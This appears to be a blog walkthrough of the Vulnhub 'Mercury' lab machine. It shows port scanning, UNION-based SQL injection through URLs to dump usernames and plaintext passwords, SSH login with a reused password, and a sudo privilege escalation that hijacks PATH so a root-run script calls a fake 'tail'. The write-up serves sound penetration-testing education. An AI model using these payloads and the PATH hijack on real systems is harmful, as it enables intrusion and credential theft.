The first VM in the Planet series. It says it’s an easy one, so let’s have a go.
As I am still in the “cutting my teeth again” stage of all this, let me begin with a simple vulnerable box from Vulnhub: Mercury
I have no idea what awaits yonder the download. If you want to join along, grab the image, load it up, and let’s go.
Discovery and enumeration #
First things first, host and service discovery
$ nmap 10.10.10.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-28 06:16 BST
Nmap scan report for 10.10.10.2
Host is up (0.00098s latency).
All 1000 scanned ports on 10.10.10.2 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)
Nmap scan report for 10.10.10.3
Host is up (0.0062s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
Nmap done: 256 IP addresses (2 hosts up) scanned in 12.17 seconds
We have an SSH server on 22 and a webserver on 8080. I wonder what that is serving up:
Interesting, there’s a website under development. Trying the obvious robots.txt
and some short bruteforcing was fruitless. I wonder though if the “under development” is a clue. What happens if we try and create a 404
Nice, now we see some routes and it looks like /mercuryfacts
is our next stop.
I’m going to see what’s left todo, could be some useful info there
Still todo:
Add CSS.
Implement authentication (using users table)
Use models in django instead of direct mysql call
All the other stuff, so much!!!
Taking note from what we see here we now know that there’s a users
table, they are using plain SQL instead of Django models (smells like SQLi to me). That’s this page exhausted. Onto the facts page:
Clicking on the link loads /mercuryfacts/1
and the page contains Fact id: 1. (('Mercury does not have any moons or rings.',),)
. The latter looks like a pure SQL result. If you change the 1
to a 2
it produces another fact. I assume it’s using something like SELECT fact FROM facts WHERE id=param
. Entering a large number just returns an empty result. To verify my theory I’ll try and break the query with a ;
instead of a 1
and further down we also see the actual SQL query
this means we can dump the aforementioned users
table with
http://10.10.10.3:8080/mercuryfacts/1 union all select username from users/
which returns
Fact id: 1 union all select username from users. (('Mercury does not have any moons or rings.',), ('john',), ('laura',), ('sam',), ('webmaster',))
Usernames done, now the passwords (please store them in plaintext, please store them in plain text)
http://10.10.10.3:8080/mercuryfacts/1 union all select password from users/
which returns
Fact id: 1 union all select password from users. (('Mercury does not have any moons or rings.',), ('johnny1987',), ('lovemykids111',), ('lovemybeer111',), ('mercuryisthesizeof0.056Earths',))
They did store them in plaintext!
Looking at the usernames we can all agree that the webmaster
account would be the most interesting, and hopefully also uses the same password for their SSH access. One way to find out
$ ssh webmaster@10.10.10.3
webmaster@10.10.10.3's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-45-generic x86_64)
Result. What’s the webmaster got in their home directory?
$ ls -la
total 36
drwx------ 4 webmaster webmaster 4096 Sep 2 2020 .
drwxr-xr-x 5 root root 4096 Aug 28 2020 ..
lrwxrwxrwx 1 webmaster webmaster 9 Sep 1 2020 .bash_history -> /dev/null
-rw-r--r-- 1 webmaster webmaster 220 Aug 27 2020 .bash_logout
-rw-r--r-- 1 webmaster webmaster 3771 Aug 27 2020 .bashrc
drwx------ 2 webmaster webmaster 4096 Aug 27 2020 .cache
drwxrwxr-x 5 webmaster webmaster 4096 Aug 28 2020 mercury_proj
-rw-r--r-- 1 webmaster webmaster 807 Aug 27 2020 .profile
-rw-rw-r-- 1 webmaster webmaster 75 Sep 1 2020 .selected_editor
-rw------- 1 webmaster webmaster 45 Sep 1 2020 user_flag.txt
There’s the flag, but we know from the description that there’s also a root flag, we’re not done yet. The mercury_proj
folder could contains some goodies. Listing the contents reveals another interesting file called notes.txt
, go ahead and cat
it
$ cat notes.txt
Project accounts (both restricted):
webmaster for web stuff - webmaster:bWVyY3VyeWlzdGhlc2l6ZW9mMC4wNTZFYXJ0aHMK
linuxmaster for linux stuff - linuxmaster:bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==
That’s useful. Those seem to be base64 encoded strings which will need…. decoding.
$ echo -n bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg== | base64 -d
mercurymeandiameteris4880km
Switching users to linuxmaster
and listing their home directory results in
$ ls -la
total 36
drwx------ 4 linuxmaster linuxmaster 4096 Jun 25 18:32 .
drwxr-xr-x 5 root root 4096 Aug 28 2020 ..
lrwxrwxrwx 1 linuxmaster linuxmaster 9 Sep 1 2020 .bash_history -> /dev/null
-rw-r--r-- 1 linuxmaster linuxmaster 220 Aug 28 2020 .bash_logout
-rw-r--r-- 1 linuxmaster linuxmaster 3771 Aug 28 2020 .bashrc
drwx------ 2 linuxmaster linuxmaster 4096 Aug 28 2020 .cache
-rw-r--r-- 1 linuxmaster linuxmaster 807 Aug 28 2020 .profile
-rw------- 1 linuxmaster linuxmaster 5024 Jun 25 18:32 .viminfo
not much of interest here, perhaps the linuxmaster can run sudo
?
$ sudo ls
[sudo] password for linuxmaster:
Sorry, user linuxmaster is not allowed to execute '/usr/bin/ls' as root on mercury.
Yes but also no, seems that the commands the user can run are restricted. We can discover what we can run with sudo -l
$ sudo -l
[sudo] password for linuxmaster:
Matching Defaults entries for linuxmaster on mercury:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User linuxmaster may run the following commands on mercury:
(root : root) SETENV: /usr/bin/check_syslog.sh
Clearly now we run the only command we can run and it dumps some syslog info out. What’s the script doing inside though?
$ cat /usr/bin/check_syslog.sh
#!/bin/bash
tail -n 10 /var/log/syslog
It calls tail to show the last 10 lines of the syslog. Not very useful as it is, but the keen eyed amongst you will recognise a security issue with the script. The author failed to use the full path to the tail
command which will allow us to exploit the script for our purposes.
The goal will be to run the script under sudo
and list the contents of /root
where we should be able to find the root flag, the final piece of the challenge. The way to do this is to create a script called tail
and put it in the PATH
before the real tail
. That way when the script runs it will execute our version of tail
as root, allowing us to execute any commands inside the script. sudo
will run in its own environment, so any changes to the PATH
variable will be lost. In addition to that, the -E
flag for sudo
doesn’t retain the PATH
variable either. There’s only one way to achieve this, but first create the script with these lines
#!/bin/bash
ls -la /root
I saved the file to ~/bin/tail
and set the execute bit with chmod +x ~/bin/tail
. Now the moment of truth
$ sudo PATH=/home/linuxmaster/bin:$PATH /usr/bin/check_syslog.sh
total 4
4 -rw------- 1 root root 1228 Sep 2 2020 root_flag.txt
There’s the file you’re looking for - I’ll leave reading it as an exercise for the reader.
That concludes Mercury, the first of the Planet VM series 🌚